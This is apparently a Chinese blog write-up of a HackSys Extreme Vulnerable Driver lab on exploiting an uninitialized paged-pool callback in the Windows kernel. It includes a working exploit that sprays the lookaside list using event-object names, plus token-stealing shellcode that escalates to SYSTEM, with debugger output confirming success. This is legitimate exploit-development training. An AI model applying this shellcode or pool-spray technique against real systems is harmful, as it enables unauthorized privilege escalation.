hevd windows内核漏洞练习-UNINITIALIZED_MEMORY_PAGED_POOL
1.漏洞分析
未初始化分页内存漏洞.
首先申请了一块0xf0长度的分页池内存UninitializedMemory,如果userbuf中的值为0x0xBAD0B0B0,
那么就设置UninitializedMemory->Callback的回调为UninitializedMemoryPagedPoolObjectCallback.
否则因为未进行初始化,就会调用到一个未知的callback地址.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| int __stdcall TriggerUninitializedMemoryPagedPool(const void **UserBuffer) { const void *v2; _UNINITIALIZED_MEMORY_POOL *UninitializedMemory; CPPEH_RECORD ms_exc;
ms_exc.registration.TryLevel = 0; ProbeForRead(UserBuffer, 0xF0u, 1u); UninitializedMemory = (_UNINITIALIZED_MEMORY_POOL *)ExAllocatePoolWithTag(PagedPool, 0xF0u, 'kcaH'); if ( UninitializedMemory ) { _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'"); _DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "PagedPool"); _DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 0xF0); _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", UninitializedMemory); v2 = *UserBuffer; _DbgPrintEx(0x4Du, 3u, "[+] UserValue: 0x%p\n", *UserBuffer); _DbgPrintEx(0x4Du, 3u, "[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory); if ( v2 == (const void *)0xBAD0B0B0 ) { UninitializedMemory->Value = 0xBAD0B0B0; UninitializedMemory->Callback = (void (__stdcall *)())UninitializedMemoryPagedPoolObjectCallback; memset(UninitializedMemory->Buffer, 0x41, sizeof(UninitializedMemory->Buffer)); UninitializedMemory->Buffer[0x39] = 0; } _DbgPrintEx(0x4Du, 3u, "[+] Triggering Uninitialized Memory in PagedPool\n"); if ( UninitializedMemory ) { _DbgPrintEx(0x4Du, 3u, "[+] UninitializedMemory->Value: 0x%p\n", (const void *)UninitializedMemory->Value); _DbgPrintEx(0x4Du, 3u, "[+] UninitializedMemory->Callback: 0x%p\n", UninitializedMemory->Callback); UninitializedMemory->Callback(); } return 0; } else { _DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n"); ms_exc.registration.TryLevel = 0xFFFFFFFE; return 0xC0000017; } }
|
它这里还注册了一个seh,输出错误码.
1 2 3 4 5 6 7 8 9 10 11
| PAGE:00445F92 PAGE:00445F92 $LN10_3: PAGE:00445F92 ; __except($LN9_12) // owned by 445E5B PAGE:00445F92 mov esp, [ebp+ms_exc.old_esp] PAGE:00445F95 mov edi, [ebp+var_20] PAGE:00445F98 push edi PAGE:00445F99 push offset aExceptionCode0 ; "[-] Exception Code: 0x%X\n" PAGE:00445F9E push 3 ; Level PAGE:00445FA0 push 4Dh ; 'M' ; ComponentId PAGE:00445FA2 call ds:__imp__DbgPrintEx PAGE:00445FA8 add esp, 10h
|
2.漏洞利用
首先编写一个测试程序,userbuf的值不为0xBAD0B0B0,看看结果.
1 2 3 4 5 6 7
| VOID UNINITIALIZED_MEMORY_PAGED_POOL_test(HANDLE dev) { DWORD dwRet = 0; DWORD bufLen = 0x4; CHAR buf[0x4]; *(DWORD*)buf = 0xBAD0B0B0 + 1; DeviceIoControl(dev, HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL, buf, bufLen, NULL, 0, &dwRet, NULL); }
|
callback里面是个无法的访问的地址0x00430050.出现了异常.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| HEVD!TriggerUninitializedMemoryPagedPool: 92f57e4a 6a10 push 10h kd> g [+] Pool Tag: 'kcaH' [+] Pool Type: PagedPool [+] Pool Size: 0xF0 [+] Pool Chunk: 0x9BF47DB8 [+] UserValue: 0xBAD0B0B1 [+] UninitializedMemory Address: 0x83A13A98 [+] Triggering Uninitialized Memory in PagedPool [+] UninitializedMemory->Value: 0x00000000 [+] UninitializedMemory->Callback: 0x00430050 [-] Exception Code: 0xC0000005 ****** HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL ******s kd> dd 0x00430050 00430050 ???????? ???????? ???????? ???????? 00430060 ???????? ???????? ???????? ???????? 00430070 ???????? ???????? ???????? ???????? 00430080 ???????? ???????? ???????? ???????? 00430090 ???????? ???????? ???????? ???????? 004300a0 ???????? ???????? ???????? ???????? 004300b0 ???????? ???????? ???????? ???????? 004300c0 ???????? ???????? ???????? ????????
|
接下来就要开始构造分页池内存,让callback可以直接调用到shellcode.
UninitializedMemory的分页池内存长度为0xf0,使用ExAllocatePoolWithTag分配内存时,如果长度小于256字节,系统会从KPRCB中的PPPagedLookasideList链表中中进行分配,链表有32个节点,每一个节点都是相同块组成的单向链表.最多有256个块.
1 2
| +0x620 PPNPagedLookasideList : [32] _GENERAL_LOOKASIDE_POOL +0xf20 PPPagedLookasideList : [32] _GENERAL_LOOKASIDE_POOL
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| kd> dt _GENERAL_LOOKASIDE_POOL nt!_GENERAL_LOOKASIDE_POOL +0x000 ListHead : _SLIST_HEADER +0x000 SingleListHead : _SINGLE_LIST_ENTRY +0x008 Depth : Uint2B +0x00a MaximumDepth : Uint2B +0x00c TotalAllocates : Uint4B +0x010 AllocateMisses : Uint4B +0x010 AllocateHits : Uint4B +0x014 TotalFrees : Uint4B +0x018 FreeMisses : Uint4B +0x018 FreeHits : Uint4B +0x01c Type : _POOL_TYPE +0x020 Tag : Uint4B +0x024 Size : Uint4B +0x028 AllocateEx : Ptr32 void* +0x028 Allocate : Ptr32 void* +0x02c FreeEx : Ptr32 void +0x02c Free : Ptr32 void +0x030 ListEntry : _LIST_ENTRY +0x038 LastTotalAllocates : Uint4B +0x03c LastAllocateMisses : Uint4B +0x03c LastAllocateHits : Uint4B +0x040 Future : [2] Uint4B
|
UninitializedMemory的大小为0xf0,也就是240字节,加上8字节的_POOL_HEADER就是248,小于256,所以会分配在
Lookaside List中,+4处要是我们的shellcode.
同样的,上篇中用了Event对象构造非分页内存池,同样也可以用它构造分页内存池,虽然event对象在非分页内存池,但是它的参数lpName实际上是分配在分页内存池中的.
通过使用256个长度为0xf0字节lpName占满Lookaside List,+4处设置为shellcode.然后释放掉,这样ExAllocatePoolWithTag申请的内存就会在我们释放的位置了.就可以执行到shellcode.
编写exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| VOID shellcode2() { __asm { pop edi pop esi pop ebx pushad xor eax, eax mov eax, fs: [124h] mov eax, [eax + 050h] mov ecx, eax mov edx, 4
find_sys_pid : mov eax, [eax + 0b8h] sub eax, 0b8h cmp[eax + 0b4h], edx jnz find_sys_pid
mov edx, [eax + 0f8h] mov[ecx + 0f8h], edx popad xor eax, eax ret } }
VOID UNINITIALIZED_MEMORY_PAGED_POOL(HANDLE dev) { DWORD dwRet = 0; DWORD bufLen = 0x4; CHAR buf[0x4]; *(DWORD*)buf = 0xBAD0B0B0 + 1;
HANDLE sprayHeapEvent[256]; CHAR* eventName = (CHAR*)malloc(0xf0); memset(eventName, 0x41, 0xf0); *(DWORD*)(eventName + 4) = (DWORD)&shellcode2; for (int i = 0, j = 1; i < 256; i++, j++) { int value = i + 1; *(DWORD*)(eventName + 0xec) = j; sprayHeapEvent[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)eventName); } for (int i = 0; i < 256; i++) { CloseHandle(sprayHeapEvent[i]); }
DeviceIoControl(dev, HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL, buf, bufLen, NULL, 0, &dwRet, NULL); }
|
看下效果,可以看到,ExAllocatePoolWithTag申请到了我们释放的内存.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| kd> p HEVD!TriggerUninitializedMemoryPagedPool+0x2e: 92f57e78 ff151c40f192 call dword ptr [HEVD!_imp__ExAllocatePoolWithTag (92f1401c)] kd> p HEVD!TriggerUninitializedMemoryPagedPool+0x34: 92f57e7e 8945e4 mov dword ptr [ebp-1Ch],eax kd> dd eax 9b0ca3e8 00000000 011c1040 41414141 41414141 9b0ca3f8 41414141 41414141 41414141 41414141 9b0ca408 41414141 41414141 41414141 41414141 9b0ca418 41414141 41414141 41414141 41414141 9b0ca428 41414141 41414141 41414141 41414141 9b0ca438 41414141 41414141 41414141 41414141 9b0ca448 41414141 41414141 41414141 41414141 9b0ca458 41414141 41414141 41414141 41414141 kd> g [+] Pool Tag: 'kcaH' [+] Pool Type: PagedPool [+] Pool Size: 0xF0 [+] Pool Chunk: 0x9B0CA3E8 [+] UserValue: 0xBAD0B0B1 [+] UninitializedMemory Address: 0x83B7BA98 [+] Triggering Uninitialized Memory in PagedPool [+] UninitializedMemory->Value: 0x00000000 [+] UninitializedMemory->Callback: 0x011C1040 ****** HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL ******
|
提权成功
